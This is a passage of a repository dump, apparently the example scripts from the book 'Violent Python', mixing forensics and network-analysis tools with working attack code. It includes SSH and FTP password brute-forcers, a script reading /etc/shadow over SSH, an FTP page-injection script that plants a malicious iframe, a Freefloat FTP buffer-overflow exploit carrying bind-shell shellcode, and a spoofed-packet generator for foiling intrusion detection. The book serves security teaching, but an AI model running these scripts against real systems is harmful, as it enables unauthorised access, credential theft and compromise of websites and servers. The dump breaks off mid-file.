| user = options.user 48 | 49 | if host == None or passwdFile == None or user == None: 50 | print parser.usage 51 | exit(0) 52 | 53 | fn = open(passwdFile, 'r') 54 | for line in fn.readlines(): 55 | 56 | if Found: 57 | print "[*] Exiting: Password Found" 58 | exit(0) 59 | if Fails > 5: 60 | print "[!] Exiting: Too Many Socket Timeouts" 61 | exit(0) 62 | 63 | connection_lock.acquire() 64 | password = line.strip('\r').strip('\n') 65 | print "[-] Testing: "+str(password) 66 | t = Thread(target=connect, args=(host, user,\ 67 | password, True)) 68 | child = t.start() 69 | 70 | if __name__ == '__main__': 71 | main() 72 | 73 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-2/3-sshCommand.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import pexpect 4 | 5 | PROMPT = ['# ', '>>> ', '> ','\$ '] 6 | 7 | def send_command(child, cmd): 8 | child.sendline(cmd) 9 | child.expect(PROMPT) 10 | print child.before 11 | 12 | def connect(user, host, password): 13 | ssh_newkey = 'Are you sure you want to continue connecting' 14 | connStr = 'ssh ' + user + '@' + host 15 | child = pexpect.spawn(connStr) 16 | ret = child.expect([pexpect.TIMEOUT, ssh_newkey,\ 17 | '[P|p]assword:']) 18 | 19 | if ret == 0: 20 | print '[-] Error Connecting' 21 | return 22 | 23 | if ret == 1: 24 | child.sendline('yes') 25 | ret = child.expect([pexpect.TIMEOUT, \ 26 | '[P|p]assword:']) 27 | if ret == 0: 28 | print '[-] Error Connecting' 29 | return 30 | 31 | child.sendline(password) 32 | child.expect(PROMPT) 33 | return child 34 | 35 | 36 | def main(): 37 | host = 'localhost' 38 | user = 'root' 39 | password = 'toor' 40 | 41 | child = connect(user, host, password) 42 | send_command(child, 'cat /etc/shadow | grep root') 43 | 44 | if __name__ == '__main__': 45 | main() 46 | 47 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-2/4-anonLogin.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | import ftplib 5 | 6 | def anonLogin(hostname): 7 | try: 8 | ftp = ftplib.FTP(hostname) 9 | ftp.login('anonymous', 'me@your.com') 10 | print '\n[*] ' + str(hostname) +\ 11 | ' FTP Anonymous Logon Succeeded.' 12 | ftp.quit() 13 | return True 14 | except Exception, e: 15 | print '\n[-] ' + str(hostname) +\ 16 | ' FTP Anonymous Logon Failed.' 17 | return False 18 | 19 | 20 | host = '192.168.95.179' 21 | anonLogin(host) 22 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-2/4-bruteLogin.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | import ftplib, time 5 | 6 | def bruteLogin(hostname, passwdFile): 7 | pF = open(passwdFile, 'r') 8 | for line in pF.readlines(): 9 | time.sleep(1) 10 | userName = line.split(':')[0] 11 | passWord = line.split(':')[1].strip('\r').strip('\n') 12 | print "[+] Trying: "+userName+"/"+passWord 13 | try: 14 | ftp = ftplib.FTP(hostname) 15 | ftp.login(userName, passWord) 16 | print '\n[*] ' + str(hostname) +\ 17 | ' FTP Logon Succeeded: '+userName+"/"+passWord 18 | ftp.quit() 19 | return (userName, passWord) 20 | except Exception, e: 21 | pass 22 | print '\n[-] Could not brute force FTP credentials.' 23 | return (None, None) 24 | 25 | 26 | host = '192.168.95.179' 27 | passwdFile = 'userpass.txt' 28 | bruteLogin(host, passwdFile) 29 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-2/4-defaultPages.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import ftplib 4 | 5 | 6 | def returnDefault(ftp): 7 | try: 8 | dirList = ftp.nlst() 9 | except: 10 | dirList = [] 11 | print '[-] Could not list directory contents.' 12 | print '[-] Skipping To Next Target.' 13 | return 14 | 15 | retList = [] 16 | for fileName in dirList: 17 | fn = fileName.lower() 18 | if '.php' in fn or '.htm' in fn or '.asp' in fn: 19 | print '[+] Found default page: ' + fileName 20 | retList.append(fileName) 21 | return retList 22 | 23 | 24 | host = '192.168.95.179' 25 | userName = 'guest' 26 | passWord = 'guest' 27 | ftp = ftplib.FTP(host) 28 | ftp.login(userName, passWord) 29 | returnDefault(ftp) 30 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-2/4-injectPage.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | import ftplib 5 | 6 | 7 | def injectPage(ftp, page, redirect): 8 | f = open(page + '.tmp', 'w') 9 | ftp.retrlines('RETR ' + page, f.write) 10 | print '[+] Downloaded Page: ' + page 11 | 12 | f.write(redirect) 13 | f.close() 14 | print '[+] Injected Malicious IFrame on: ' + page 15 | 16 | ftp.storlines('STOR ' + page, open(page + '.tmp')) 17 | print '[+] Uploaded Injected Page: ' + page 18 | 19 | 20 | host = '192.168.95.179' 21 | userName = 'guest' 22 | passWord = 'guest' 23 | ftp = ftplib.FTP(host) 24 | ftp.login(userName, passWord) 25 | redirect = '' 27 | injectPage(ftp, 'index.html', redirect) 28 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-2/6-freeFloat.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/Python 2 | #Title: Freefloat FTP 1.0 Non Implemented Command Buffer Overflows 3 | #Author: Craig Freyman (@cd1zz) 4 | #Date: July 19, 2011 5 | #Tested on Windows XP SP3 English 6 | #Part of FreeFloat pwn week 7 | #Vendor Notified: 7-18-2011 (no response) 8 | #Software Link: http://www.freefloat.com/sv/freefloat-ftp-server/freefloat-ftp-server.php 9 | 10 | import socket,sys,time,struct 11 | 12 | if len(sys.argv) < 2: 13 | print "[-]Usage: %s " % sys.argv[0] + "\r" 14 | print "[-]For example [filename.py 192.168.1.10 PWND] would do the trick." 15 | print "[-]Other options: AUTH, APPE, ALLO, ACCT" 16 | sys.exit(0) 17 | 18 | target = sys.argv[1] 19 | command = sys.argv[2] 20 | 21 | if len(sys.argv) > 2: 22 | platform = sys.argv[2] 23 | 24 | #./msfpayload windows/shell_bind_tcp r | ./msfencode -e x86/shikata_ga_nai -b "\x00\xff\x0d\x0a\x3d\x20" 25 | #[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1) 26 | 27 | shellcode = ("\xbf\x5c\x2a\x11\xb3\xd9\xe5\xd9\x74\x24\xf4\x5d\x33\xc9" 28 | "\xb1\x56\x83\xc5\x04\x31\x7d\x0f\x03\x7d\x53\xc8\xe4\x4f" 29 | "\x83\x85\x07\xb0\x53\xf6\x8e\x55\x62\x24\xf4\x1e\xd6\xf8" 30 | "\x7e\x72\xda\x73\xd2\x67\x69\xf1\xfb\x88\xda\xbc\xdd\xa7" 31 | "\xdb\x70\xe2\x64\x1f\x12\x9e\x76\x73\xf4\x9f\xb8\x86\xf5" 32 | "\xd8\xa5\x68\xa7\xb1\xa2\xda\x58\xb5\xf7\xe6\x59\x19\x7c" 33 | "\x56\x22\x1c\x43\x22\x98\x1f\x94\x9a\x97\x68\x0c\x91\xf0" 34 | "\x48\x2d\x76\xe3\xb5\x64\xf3\xd0\x4e\x77\xd5\x28\xae\x49" 35 | "\x19\xe6\x91\x65\x94\xf6\xd6\x42\x46\x8d\x2c\xb1\xfb\x96" 36 | "\xf6\xcb\x27\x12\xeb\x6c\xac\x84\xcf\x8d\x61\x52\x9b\x82" 37 | "\xce\x10\xc3\x86\xd1\xf5\x7f\xb2\x5a\xf8\xaf\x32\x18\xdf" 38 | "\x6b\x1e\xfb\x7e\x2d\xfa\xaa\x7f\x2d\xa2\x13\xda\x25\x41" 39 | "\x40\x5c\x64\x0e\xa5\x53\x97\xce\xa1\xe4\xe4\xfc\x6e\x5f" 40 | "\x63\x4d\xe7\x79\x74\xb2\xd2\x3e\xea\x4d\xdc\x3e\x22\x8a" 41 | "\x88\x6e\x5c\x3b\xb0\xe4\x9c\xc4\x65\xaa\xcc\x6a\xd5\x0b" 42 | "\xbd\xca\x85\xe3\xd7\xc4\xfa\x14\xd8\x0e\x8d\x12\x16\x6a" 43 | "\xde\xf4\x5b\x8c\xf1\x58\xd5\x6a\x9b\x70\xb3\x25\x33\xb3" 44 | "\xe0\xfd\xa4\xcc\xc2\x51\x7d\x5b\x5a\xbc\xb9\x64\x5b\xea" 45 | "\xea\xc9\xf3\x7d\x78\x02\xc0\x9c\x7f\x0f\x60\xd6\xb8\xd8" 46 | "\xfa\x86\x0b\x78\xfa\x82\xfb\x19\x69\x49\xfb\x54\x92\xc6" 47 | "\xac\x31\x64\x1f\x38\xac\xdf\x89\x5e\x2d\xb9\xf2\xda\xea" 48 | "\x7a\xfc\xe3\x7f\xc6\xda\xf3\xb9\xc7\x66\xa7\x15\x9e\x30" 49 | "\x11\xd0\x48\xf3\xcb\x8a\x27\x5d\x9b\x4b\x04\x5e\xdd\x53" 50 | "\x41\x28\x01\xe5\x3c\x6d\x3e\xca\xa8\x79\x47\x36\x49\x85" 51 | "\x92\xf2\x79\xcc\xbe\x53\x12\x89\x2b\xe6\x7f\x2a\x86\x25" 52 | "\x86\xa9\x22\xd6\x7d\xb1\x47\xd3\x3a\x75\xb4\xa9\x53\x10" 53 | "\xba\x1e\x53\x31") 54 | 55 | #7C874413 FFE4 JMP ESP kernel32.dll 56 | ret = struct.pack(' -p ') 66 | parser.add_option('-u', dest='username', type='string', 67 | help='specify wigle password') 68 | parser.add_option('-p', dest='password', type='string', 69 | help='specify wigle username') 70 | (options, args) = parser.parse_args() 71 | username = options.username 72 | password = options.password 73 | if username == None or password == None: 74 | print parser.usage 75 | exit(0) 76 | else: 77 | printNets(username, password) 78 | 79 | 80 | if __name__ == '__main__': 81 | main() 82 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-3/2-dumpRecycleBin.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | import os 5 | import optparse 6 | from _winreg import * 7 | 8 | 9 | def sid2user(sid): 10 | try: 11 | key = OpenKey(HKEY_LOCAL_MACHINE, 12 | "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList" 13 | + '\\' + sid) 14 | (value, type) = QueryValueEx(key, 'ProfileImagePath') 15 | user = value.split('\\')[-1] 16 | return user 17 | except: 18 | return sid 19 | 20 | 21 | def returnDir(): 22 | dirs=['C:\\Recycler\\','C:\\Recycled\\','C:\\$Recycle.Bin\\'] 23 | for recycleDir in dirs: 24 | if os.path.isdir(recycleDir): 25 | return recycleDir 26 | return None 27 | 28 | 29 | def findRecycled(recycleDir): 30 | dirList = os.listdir(recycleDir) 31 | for sid in dirList: 32 | files = os.listdir(recycleDir + sid) 33 | user = sid2user(sid) 34 | print '\n[*] Listing Files For User: ' + str(user) 35 | for file in files: 36 | print '[+] Found File: ' + str(file) 37 | 38 | 39 | def main(): 40 | recycledDir = returnDir() 41 | findRecycled(recycledDir) 42 | 43 | 44 | if __name__ == '__main__': 45 | main() 46 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-3/3-pdfRead.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import pyPdf 4 | import optparse 5 | from pyPdf import PdfFileReader 6 | 7 | 8 | def printMeta(fileName): 9 | pdfFile = PdfFileReader(file(fileName, 'rb')) 10 | docInfo = pdfFile.getDocumentInfo() 11 | print '[*] PDF MetaData For: ' + str(fileName) 12 | for metaItem in docInfo: 13 | print '[+] ' + metaItem + ':' + docInfo[metaItem] 14 | 15 | 16 | def main(): 17 | parser = optparse.OptionParser('usage %prog "+\ 18 | "-F ') 19 | parser.add_option('-F', dest='fileName', type='string',\ 20 | help='specify PDF file name') 21 | 22 | (options, args) = parser.parse_args() 23 | fileName = options.fileName 24 | if fileName == None: 25 | print parser.usage 26 | exit(0) 27 | else: 28 | printMeta(fileName) 29 | 30 | 31 | if __name__ == '__main__': 32 | main() 33 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-3/4-exifFetch.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import urllib2 4 | import optparse 5 | from urlparse import urlsplit 6 | from os.path import basename 7 | from bs4 import BeautifulSoup 8 | from PIL import Image 9 | from PIL.ExifTags import TAGS 10 | 11 | 12 | def findImages(url): 13 | print '[+] Finding images on ' + url 14 | urlContent = urllib2.urlopen(url).read() 15 | soup = BeautifulSoup(urlContent) 16 | imgTags = soup.findAll('img') 17 | return imgTags 18 | 19 | 20 | def downloadImage(imgTag): 21 | try: 22 | print '[+] Dowloading image...' 23 | imgSrc = imgTag['src'] 24 | imgContent = urllib2.urlopen(imgSrc).read() 25 | imgFileName = basename(urlsplit(imgSrc)[2]) 26 | imgFile = open(imgFileName, 'wb') 27 | imgFile.write(imgContent) 28 | imgFile.close() 29 | return imgFileName 30 | except: 31 | return '' 32 | 33 | 34 | def testForExif(imgFileName): 35 | try: 36 | exifData = {} 37 | imgFile = Image.open(imgFileName) 38 | info = imgFile._getexif() 39 | if info: 40 | for (tag, value) in info.items(): 41 | decoded = TAGS.get(tag, tag) 42 | exifData[decoded] = value 43 | exifGPS = exifData['GPSInfo'] 44 | if exifGPS: 45 | print '[*] ' + imgFileName + \ 46 | ' contains GPS MetaData' 47 | except: 48 | pass 49 | 50 | 51 | def main(): 52 | parser = optparse.OptionParser('usage %prog "+\ 53 | "-u ') 54 | parser.add_option('-u', dest='url', type='string', 55 | help='specify url address') 56 | 57 | (options, args) = parser.parse_args() 58 | url = options.url 59 | if url == None: 60 | print parser.usage 61 | exit(0) 62 | else: 63 | imgTags = findImages(url) 64 | for imgTag in imgTags: 65 | imgFileName = downloadImage(imgTag) 66 | testForExif(imgFileName) 67 | 68 | 69 | if __name__ == '__main__': 70 | main() 71 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-3/7-iphoneMessages.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import os 4 | import sqlite3 5 | import optparse 6 | 7 | 8 | def isMessageTable(iphoneDB): 9 | try: 10 | conn = sqlite3.connect(iphoneDB) 11 | c = conn.cursor() 12 | c.execute('SELECT tbl_name FROM sqlite_master \ 13 | WHERE type==\"table\";') 14 | for row in c: 15 | if 'message' in str(row): 16 | return True 17 | except: 18 | return False 19 | 20 | 21 | def printMessage(msgDB): 22 | try: 23 | conn = sqlite3.connect(msgDB) 24 | c = conn.cursor() 25 | c.execute('select datetime(date,\'unixepoch\'),\ 26 | address, text from message WHERE address>0;') 27 | for row in c: 28 | date = str(row[0]) 29 | addr = str(row[1]) 30 | text = row[2] 31 | print '\n[+] Date: '+date+', Addr: '+addr \ 32 | + ' Message: ' + text 33 | except: 34 | pass 35 | 36 | 37 | def main(): 38 | parser = optparse.OptionParser("usage %prog "+\ 39 | "-p ") 40 | parser.add_option('-p', dest='pathName',\ 41 | type='string',help='specify skype profile path') 42 | (options, args) = parser.parse_args() 43 | 44 | pathName = options.pathName 45 | if pathName == None: 46 | print parser.usage 47 | exit(0) 48 | else: 49 | dirList = os.listdir(pathName) 50 | for fileName in dirList: 51 | iphoneDB = os.path.join(pathName, fileName) 52 | if isMessageTable(iphoneDB): 53 | try: 54 | print '\n[*] --- Found Messages ---' 55 | printMessage(iphoneDB) 56 | except: 57 | pass 58 | 59 | 60 | if __name__ == '__main__': 61 | main() 62 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-3/firefox_profile.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ThatEidolon/Python/fcea97d136f2490c256ab72efbb619da5403fe6a/Violent-Python/Violent-Python-Examples/Chapter-3/firefox_profile.zip -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-3/skype_profile.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ThatEidolon/Python/fcea97d136f2490c256ab72efbb619da5403fe6a/Violent-Python/Violent-Python-Examples/Chapter-3/skype_profile.zip -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-4/1-geoIP.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import pygeoip 4 | gi = pygeoip.GeoIP('/opt/GeoIP/Geo.dat') 5 | 6 | 7 | def printRecord(tgt): 8 | rec = gi.record_by_name(tgt) 9 | city = rec['city'] 10 | region = rec['region_name'] 11 | country = rec['country_name'] 12 | long = rec['longitude'] 13 | lat = rec['latitude'] 14 | print '[*] Target: ' + tgt + ' Geo-located. ' 15 | print '[+] '+str(city)+', '+str(region)+', '+str(country) 16 | print '[+] Latitude: '+str(lat)+ ', Longitude: '+ str(long) 17 | 18 | 19 | tgt = '173.255.226.98' 20 | printRecord(tgt) 21 | 22 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-4/10-idsFoil.py: -------------------------------------------------------------------------------- 1 | import optparse 2 | from scapy.all import * 3 | from random import randint 4 | 5 | 6 | def ddosTest(src, dst, iface, count): 7 | pkt=IP(src=src,dst=dst)/ICMP(type=8,id=678)/Raw(load='1234') 8 | send(pkt, iface=iface, count=count) 9 | 10 | pkt = IP(src=src,dst=dst)/ICMP(type=0)/Raw(load='AAAAAAAAAA') 11 | send(pkt, iface=iface, count=count) 12 | 13 | pkt = IP(src=src,dst=dst)/UDP(dport=31335)/Raw(load='PONG') 14 | send(pkt, iface=iface, count=count) 15 | 16 | pkt = IP(src=src,dst=dst)/ICMP(type=0,id=456) 17 | send(pkt, iface=iface, count=count) 18 | 19 | 20 | def exploitTest(src, dst, iface, count): 21 | 22 | pkt = IP(src=src, dst=dst) / UDP(dport=518) \ 23 | /Raw(load="\x01\x03\x00\x00\x00\x00\x00\x01\x00\x02\x02\xE8") 24 | send(pkt, iface=iface, count=count) 25 | 26 | pkt = IP(src=src, dst=dst) / UDP(dport=635) \ 27 | /Raw(load="^\xB0\x02\x89\x06\xFE\xC8\x89F\x04\xB0\x06\x89F") 28 | send(pkt, iface=iface, count=count) 29 | 30 | 31 | def scanTest(src, dst, iface, count): 32 | pkt = IP(src=src, dst=dst) / UDP(dport=7) \ 33 | /Raw(load='cybercop') 34 | send(pkt) 35 | 36 | pkt = IP(src=src, dst=dst) / UDP(dport=10080) \ 37 | /Raw(load='Amanda') 38 | send(pkt, iface=iface, count=count) 39 | 40 | 41 | def main(): 42 | parser = optparse.OptionParser('usage %prog '+\ 43 | '-i -s -t -c ' 44 | ) 45 | parser.add_option('-i', dest='iface', type='string',\ 46 | help='specify network interface') 47 | parser.add_option('-s', dest='src', type='string',\ 48 | help='specify source address') 49 | parser.add_option('-t', dest='tgt', type='string',\ 50 | help='specify target address') 51 | parser.add_option('-c', dest='count', type='int',\ 52 | help='specify packet count') 53 | 54 | (options, args) = parser.parse_args() 55 | if options.iface == None: 56 | iface = 'eth0' 57 | else: 58 | iface = options.iface 59 | if options.src == None: 60 | src = '.'.join([str(randint(1,254)) for x in range(4)]) 61 | else: 62 | src = options.src 63 | if options.tgt == None: 64 | print parser.usage 65 | exit(0) 66 | else: 67 | dst = options.tgt 68 | if options.count == None: 69 | count = 1 70 | else: 71 | count = options.count 72 | 73 | ddosTest(src, dst, iface, count) 74 | exploitTest(src, dst, iface, count) 75 | scanTest(src, dst, iface, count) 76 | 77 | 78 | if __name__ == '__main__': 79 | main() 80 | 81 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-4/2-printDirection.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import dpkt 4 | import socket 5 | 6 | 7 | def printPcap(pcap): 8 | for (ts, buf) in pcap: 9 | try: 10 | eth = dpkt.ethernet.Ethernet(buf) 11 | ip = eth.data 12 | src = socket.inet_ntoa(ip.src) 13 | dst = socket.inet_ntoa(ip.dst) 14 | print '[+] Src: ' + src + ' --> Dst: ' + dst 15 | except: 16 | pass 17 | 18 | 19 | def main(): 20 | f = open('geotest.pcap') 21 | pcap = dpkt.pcap.Reader(f) 22 | printPcap(pcap) 23 | 24 | 25 | if __name__ == '__main__': 26 | main() 27 | 28 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-4/3-geoPrint.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import dpkt 4 | import socket 5 | import pygeoip 6 | import optparse 7 | gi = pygeoip.GeoIP('/opt/GeoIP/Geo.dat') 8 | 9 | 10 | def retGeoStr(ip): 11 | try: 12 | rec = gi.record_by_name(ip) 13 | city = rec['city'] 14 | country = rec['country_code3'] 15 | if city != '': 16 | geoLoc = city + ', ' + country 17 | else: 18 | geoLoc = country 19 | return geoLoc 20 | except Exception, e: 21 | return 'Unregistered' 22 | 23 | 24 | def printPcap(pcap): 25 | for (ts, buf) in pcap: 26 | try: 27 | eth = dpkt.ethernet.Ethernet(buf) 28 | ip = eth.data 29 | src = socket.inet_ntoa(ip.src) 30 | dst = socket.inet_ntoa(ip.dst) 31 | print '[+] Src: ' + src + ' --> Dst: ' + dst 32 | print '[+] Src: ' + retGeoStr(src) + '--> Dst: ' \ 33 | + retGeoStr(dst) 34 | except: 35 | pass 36 | 37 | 38 | def main(): 39 | parser = optparse.OptionParser('usage %prog -p ') 40 | parser.add_option('-p', dest='pcapFile', type='string',\ 41 | help='specify pcap filename') 42 | (options, args) = parser.parse_args() 43 | if options.pcapFile == None: 44 | print parser.usage 45 | exit(0) 46 | pcapFile = options.pcapFile 47 | f = open(pcapFile) 48 | pcap = dpkt.pcap.Reader(f) 49 | printPcap(pcap) 50 | 51 | 52 | if __name__ == '__main__': 53 | main() 54 | 55 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-4/4-googleEarthPcap.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import dpkt 4 | import socket 5 | import pygeoip 6 | import optparse 7 | gi = pygeoip.GeoIP('/opt/GeoIP/Geo.dat') 8 | 9 | 10 | def retKML(ip): 11 | rec = gi.record_by_name(ip) 12 | try: 13 | longitude = rec['longitude'] 14 | latitude = rec['latitude'] 15 | kml = ( 16 | '\n' 17 | '%s\n' 18 | '\n' 19 | '%6f,%6f\n' 20 | '\n' 21 | '\n' 22 | ) %(ip,longitude, latitude) 23 | return kml 24 | except: 25 | return '' 26 | 27 | 28 | def plotIPs(pcap): 29 | kmlPts = '' 30 | for (ts, buf) in pcap: 31 | try: 32 | eth = dpkt.ethernet.Ethernet(buf) 33 | ip = eth.data 34 | src = socket.inet_ntoa(ip.src) 35 | srcKML = retKML(src) 36 | dst = socket.inet_ntoa(ip.dst) 37 | dstKML = retKML(dst) 38 | kmlPts = kmlPts + srcKML + dstKML 39 | except: 40 | pass 41 | return kmlPts 42 | 43 | 44 | def main(): 45 | parser = optparse.OptionParser('usage %prog -p ') 46 | parser.add_option('-p', dest='pcapFile', type='string',\ 47 | help='specify pcap filename') 48 | (options, args) = parser.parse_args() 49 | if options.pcapFile == None: 50 | print parser.usage 51 | exit(0) 52 | pcapFile = options.pcapFile 53 | f = open(pcapFile) 54 | pcap = dpkt.pcap.Reader(f) 55 | 56 | kmlheader = '\ 57 | \n\n\n' 58 | kmlfooter = '\n\n' 59 | kmldoc=kmlheader+plotIPs(pcap)+kmlfooter 60 | print kmldoc 61 | 62 | 63 | if __name__ == '__main__': 64 | main() 65 | 66 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-4/5-findDDoS.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import dpkt 4 | import optparse 5 | import socket 6 | THRESH = 1000 7 | 8 | 9 | def findDownload(pcap): 10 | for (ts, buf) in pcap: 11 | try: 12 | eth = dpkt.ethernet.Ethernet(buf) 13 | ip = eth.data 14 | src = socket.inet_ntoa(ip.src) 15 | tcp = ip.data 16 | http = dpkt.http.Request(tcp.data) 17 | if http.method == 'GET': 18 | uri = http.uri.lower() 19 | if '.zip' in uri and 'loic' in uri: 20 | print '[!] ' + src + ' Downloaded LOIC.' 21 | except: 22 | pass 23 | 24 | 25 | def findHivemind(pcap): 26 | for (ts, buf) in pcap: 27 | try: 28 | eth = dpkt.ethernet.Ethernet(buf) 29 | ip = eth.data 30 | src = socket.inet_ntoa(ip.src) 31 | dst = socket.inet_ntoa(ip.dst) 32 | tcp = ip.data 33 | dport = tcp.dport 34 | sport = tcp.sport 35 | if dport == 6667: 36 | if '!lazor' in tcp.data.lower(): 37 | print '[!] DDoS Hivemind issued by: '+src 38 | print '[+] Target CMD: ' + tcp.data 39 | if sport == 6667: 40 | if '!lazor' in tcp.data.lower(): 41 | print '[!] DDoS Hivemind issued to: '+src 42 | print '[+] Target CMD: ' + tcp.data 43 | except: 44 | pass 45 | 46 | 47 | def findAttack(pcap): 48 | pktCount = {} 49 | for (ts, buf) in pcap: 50 | try: 51 | eth = dpkt.ethernet.Ethernet(buf) 52 | ip = eth.data 53 | src = socket.inet_ntoa(ip.src) 54 | dst = socket.inet_ntoa(ip.dst) 55 | tcp = ip.data 56 | dport = tcp.dport 57 | if dport == 80: 58 | stream = src + ':' + dst 59 | if pktCount.has_key(stream): 60 | pktCount[stream] = pktCount[stream] + 1 61 | else: 62 | pktCount[stream] = 1 63 | except: 64 | pass 65 | 66 | for stream in pktCount: 67 | pktsSent = pktCount[stream] 68 | if pktsSent > THRESH: 69 | src = stream.split(':')[0] 70 | dst = stream.split(':')[1] 71 | print '[+] '+src+' attacked '+dst+' with ' \ 72 | + str(pktsSent) + ' pkts.' 73 | 74 | 75 | def main(): 76 | parser = optparse.OptionParser("usage %prog '+\ 77 | '-p -t " 78 | ) 79 | parser.add_option('-p', dest='pcapFile', type='string',\ 80 | help='specify pcap filename') 81 | parser.add_option('-t', dest='thresh', type='int',\ 82 | help='specify threshold count ') 83 | 84 | (options, args) = parser.parse_args() 85 | if options.pcapFile == None: 86 | print parser.usage 87 | exit(0) 88 | if options.thresh != None: 89 | THRESH = options.thresh 90 | pcapFile = options.pcapFile 91 | f = open(pcapFile) 92 | pcap = dpkt.pcap.Reader(f) 93 | findDownload(pcap) 94 | findHivemind(pcap) 95 | findAttack(pcap) 96 | 97 | 98 | if __name__ == '__main__': 99 | main() 100 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-4/6-spoofDetect.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import time 4 | import optparse 5 | from scapy.all import * 6 | from IPy import IP as IPTEST 7 | 8 | ttlValues = {} 9 | THRESH = 5 10 | 11 | 12 | def checkTTL(ipsrc, ttl): 13 | if IPTEST(ipsrc).iptype() == 'PRIVATE': 14 | return 15 | 16 | if not ttlValues.has_key(ipsrc): 17 | pkt = sr1(IP(dst=ipsrc) / ICMP(), \ 18 | retry=0, timeout=1, verbose=0) 19 | ttlValues[ipsrc] = pkt.ttl 20 | 21 | if abs(int(ttl) - int(ttlValues[ipsrc])) > THRESH: 22 | print '\n[!] Detected Possible Spoofed Packet From: '\ 23 | + ipsrc 24 | print '[!] TTL: ' + ttl + ', Actual TTL: ' \ 25 | + str(ttlValues[ipsrc]) 26 | 27 | 28 | def testTTL(pkt): 29 | try: 30 | if pkt.haslayer(IP): 31 | ipsrc = pkt.getlayer(IP).src 32 | ttl = str(pkt.ttl) 33 | checkTTL(ipsrc, ttl) 34 | except: 35 | 36 | pass 37 | 38 | 39 | def main(): 40 | parser = optparse.OptionParser("usage %prog "+\ 41 | "-i -t ") 42 | parser.add_option('-i', dest='iface', type='string',\ 43 | help='specify network interface') 44 | parser.add_option('-t', dest='thresh', type='int', 45 | help='specify threshold count ') 46 | 47 | (options, args) = parser.parse_args() 48 | if options.iface == None: 49 | conf.iface = 'eth0' 50 | else: 51 | conf.iface = options.iface 52 | if options.thresh != None: 53 | THRESH = options.thresh 54 | else: 55 | THRESH = 5 56 | 57 | sniff(prn=testTTL, store=0) 58 | 59 | 60 | if __name__ == '__main__': 61 | main() 62 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-4/7-testFastFlux.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | from scapy.all import * 4 | 5 | dnsRecords = {} 6 | 7 | def handlePkt(pkt): 8 | if pkt.haslayer(DNSRR): 9 | rrname = pkt.getlayer(DNSRR).rrname 10 | rdata = pkt.getlayer(DNSRR).rdata 11 | if dnsRecords.has_key(rrname): 12 | if rdata not in dnsRecords[rrname]: 13 | dnsRecords[rrname].append(rdata) 14 | else: 15 | dnsRecords[rrname] = [] 16 | dnsRecords[rrname].append(rdata) 17 | 18 | 19 | def main(): 20 | pkts = rdpcap('fastFlux.pcap') 21 | for pkt in pkts: 22 | handlePkt(pkt) 23 | 24 | for item in dnsRecords: 25 | print '[+] '+item+' has '+str(len(dnsRecords[item])) \ 26 | + ' unique IPs.' 27 | 28 | 29 | if __name__ == '__main__': 30 | main() 31 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-4/8-testDomainFlux.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | from scapy.all import * 4 | 5 | 6 | def dnsQRTest(pkt): 7 | if pkt.haslayer(DNSRR) and pkt.getlayer(UDP).sport == 53: 8 | rcode = 